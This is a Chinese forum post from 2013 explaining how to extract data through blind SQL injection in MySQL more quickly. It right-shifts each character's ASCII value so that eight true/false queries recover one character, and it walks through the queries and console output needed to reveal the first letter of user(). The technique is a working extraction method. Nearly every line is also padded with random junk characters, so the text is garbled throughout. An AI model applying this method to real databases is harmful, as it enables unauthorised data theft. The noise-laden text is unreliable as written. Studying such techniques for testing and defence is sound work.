找回密码
 立即注册
查看: 2779|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位. J) Q7 k+ ^/ I' V. M& C. K5 ?3 @

6 F  A6 U, n, F% @4 f ; \4 c. V( r- s0 |
# |! T- A9 h4 f
下面将以查询mysql数据库当中user()的第一位为例:) c  S4 T" M# I: F* C/ ~
, k- F! j: B$ p* E
0 Q" H4 Y$ i$ S6 Y9 U0 a
9 j( N, q- i0 p
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
4 s5 h8 `  h# M- G, s2 f% `+ K5 X6 i9 B9 y  D

; n) S' m, R& ?" ]: q. s4 U- s; J% w
首先执行如下sql语句:
3 o! ^6 E  k6 K' K& X! N# c) H% G/ Z8 s

" v+ v, j8 J& B9 J$ W. q
4 q4 `+ Y! ~0 v+ n. x, n( Smysql> select (ascii((substr(user(),1,1))) >> 7)=0;- X" `, S$ G* J+ ?% r# c

: X4 ?+ y9 X7 x8 ?( i9 r, r 4 u  l" @+ C3 g# \+ n/ S: k5 D% B$ z- |
; m0 `1 g' A8 ]3 a; f, u
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的& _5 K$ s* w2 E
# j5 h' h' n8 r

5 Y3 c* M( m# Y$ n5 M7 ]% Y4 b- N5 o) ?+ R: q9 Y
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为19 c9 b% s. S* n7 ?- S
, _& Q7 Q/ e2 \7 Z: u$ G
/ Y/ G/ u3 B# K
# r8 O: h( |3 n2 R
如果运算结果为1,说明第一位为0,不为1* p, ^1 w2 S4 F3 L
) U. m& e7 r. }' l
" n; R5 O. k% D5 e( g  e% ]
+ ^/ n* M& F! ?; |
+————————————–+& }, H5 p0 w/ l  d* f: q

3 Z" U3 F# U8 [2 _) s| (ascii((substr(user(),1,1))) >> 7)=0 |
5 ]; [# n* F- T5 T% g) e1 Y6 e9 r5 g2 q3 b
+————————————–+
# j3 D0 J6 X' @! q5 E& g- ~" W) {: r' N$ N" R
| 1 |
# B6 u3 ^% }- U
# M- ^! [, w# W- s/ Y+————————————–+! U7 \4 G) c0 @. Y# p

, K5 M: k: z2 D. J( t$ P- ^1 row in set (0.00 sec)' |' N: u# b  R7 c0 t; \/ V

9 p; ]) `, K  k' u( J这样我们就确定这个8bit的ascii的第一位为0
2 Q" p! y3 G+ j2 v  x( Q" Q) G; ^) X# L( v' I

' v$ ~" F8 w6 V# [6 t; a& m: Z6 W9 C2 q2 E2 n+ X( U2 g
第二次我们来做6次右偏移来确定前两位
" Y6 W1 p7 t! ?" @) K3 J8 Q, C: `9 W

; T$ r3 b, o/ n, Q) P1 A
2 S5 d* l3 J8 ~5 ^3 G0 t前两位可能是01或00,即依然可以与0做比较,2 N0 W' S3 l  ?. u9 q2 T  R6 J+ Z
9 K& D  n8 \. X- |
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
4 E  ?6 Z+ M0 w2 s4 r! X- x( g; v5 t8 K( \8 r
+————————————–+( o7 m! K( @9 @

; d3 M* W4 \) J' v6 Q" ^9 r+ ^8 ]| (ascii((substr(user(),1,1))) >> 6)=0 |  `  I. n5 l# C9 L" r4 U

  N" Q0 c" l5 g+————————————–+
/ v7 |) |% {8 n8 z/ h7 M- p7 R+ ?' y  @6 D; x$ e9 c6 H" d
| 0 |
, A" r7 r! m) A9 {6 y! o" }; s4 S  H% y. Z7 _% ]
+————————————–+
6 G* ]  m9 M/ X9 S$ l5 t# x: n4 d
1 row in set (0.00 sec)
; ~2 a2 X2 [5 D9 }3 N: e
9 I. b$ Z& K! g  j, c; F; i
1 X  L' {" o& }% _& j) e
: v/ s+ ^7 i, f2 q& C结果为0,即第二位为1
& f  O0 Q) x' ~$ p; k8 p% j8 K5 L9 I* I5 }; Q. u
2 E) \. h0 R/ H, |

, |! y; @  y/ Q开始猜测前三位为010或011
- s2 O6 o  E  s$ M
8 y2 G. E9 c- l; A ; U# ?0 G1 F- e0 I5 X. C5 C
* H9 \) M4 n# C/ c. d7 ?
让我们看看010和011的ascii码是多少
0 v! \4 e; m+ V6 q5 ]* D1 m1 ^! \% a3 q$ O! ?+ a( g' _* o
# V8 T. g! Q8 r2 h) ]! s
: @5 k$ p, Z1 p6 P: }* ~# c. I
分别查询select b’011′ select b’010′, w$ h/ S  Q( i, u( q& J# C9 d+ j

2 n+ N/ m: d7 x9 Y) e: i
! C: [" T/ ^# R  ?/ e  `( k8 d/ o1 K# D: L- O
获得结果 010 = 2 011 = 3
9 |) I% ?, N$ @; x5 v! v8 ~7 O9 f2 G% _+ B2 ~

' ]2 s% O7 Y: J8 ^9 X& t9 ]' T/ ?
9 e/ O. T: q% a# A& L执行如下sql:
  m. I9 K  t) p3 a: l! B
! ^. M9 Q7 I6 j* D  T& C5 ^
" o7 A. N" M; U0 O0 T. C- ]# x8 W  B; E9 R2 r& P& J8 q" c) j
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
0 ^1 H3 i& h: }2 n; U0 p% s9 g0 y2 ~" e. n
+————————————–+
' Y; S6 D7 r4 T* s' T  r2 t  d+ g6 C- U6 \3 v7 V* q3 E. n& h2 b5 `
| (ascii((substr(user(),1,1))) >> 5)=2 |
: g0 O4 V/ N" X$ h0 Z: I1 h1 @: t" \& m+ [% T) n* A: r
+————————————–+' z- g; U- @  X

% o" u7 d- `/ k% p% P0 Q% T, {| 0 |
3 `! n3 s2 Y8 U; k
; t1 |7 Z- T+ c4 K  A5 [+————————————–+
- ]  u0 C) s! V6 T9 P% _: v- ]; ?/ r2 v; R, S  B
即前三位不为010,而是011
/ Y5 p) u' @% m& Z& k4 R8 l1 Q6 P
; r1 }- ?& G# [$ u) E6 `
1 M/ O2 f! a9 Q9 D- f- {
直到获得最后一位
9 r# {2 d  ~. q
2 ]. I$ `% ?& v/ Y6 Z. F8 { ! h' H8 ~  L" L+ a8 n1 N
; d& O. W+ x7 P6 A5 y
最终结果为:01110010
- W' u$ E4 Y  d) p- L( O: ]# l, P* u
) v& h* N; ]/ x7 j) f
% w8 \) k+ x, J2 z+ B
' l5 d4 T  Y  S8 Y3 o9 R& c  Q转换一下:
, r9 Y! U9 b( D1 ^( ~
2 e% g% p( f" Y0 i$ m$ ?  w7 b
' r- O6 q9 h# _1 {
( ^" ?, G; Q( @' f# v8 Eselect b’01110010′
, D& j. k) ^# P/ f6 V5 l3 t( ^* x" v4 j2 O% i, B) S$ d

" ?3 e# L# U- v2 K
, G" Y- A. J( n) ~1 c查询结果
4 q# [" p* t' A1 k0 `  _2 X: @' `" O+ e- O' H2 ^
- R' J; I/ p; x3 A
* D0 H( ]% `8 I, p% V
+————-+
' r( q; {* Z& Y) @& v3 ^; U
( Q7 [8 c! L. b' C6 q6 L* F5 K| b’01110010′ |$ B' [0 z8 f; S. x# p! w8 k. _
) ?; H# H# K  a. J( X8 ?8 u& h: T
+————-+
) v, I1 R3 A% Q
- i' T5 l& [, B, u3 H# f3 ?| r |5 k0 M+ {$ X, X) e+ D0 T

1 U* u+ r( f5 O" N  Y* \+————-+
0 `9 K$ `" I4 p3 o, l1 o1 h
% I& F3 i% R5 h( @' k. H1 row in set (0.00 sec)
, D# O" m$ @! H' m, L6 |$ M' t9 |& l! V% Y
* I5 V, j( ^! v) D* }6 v

# E% ^% l" r8 z9 R! Y- @! N9 _这样我们就获得了user()的第一位.其它位依此类推
% _# S) R5 v5 s6 H" G8 ^3 e  ^$ L9 V4 z5 T" A2 q* r: y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表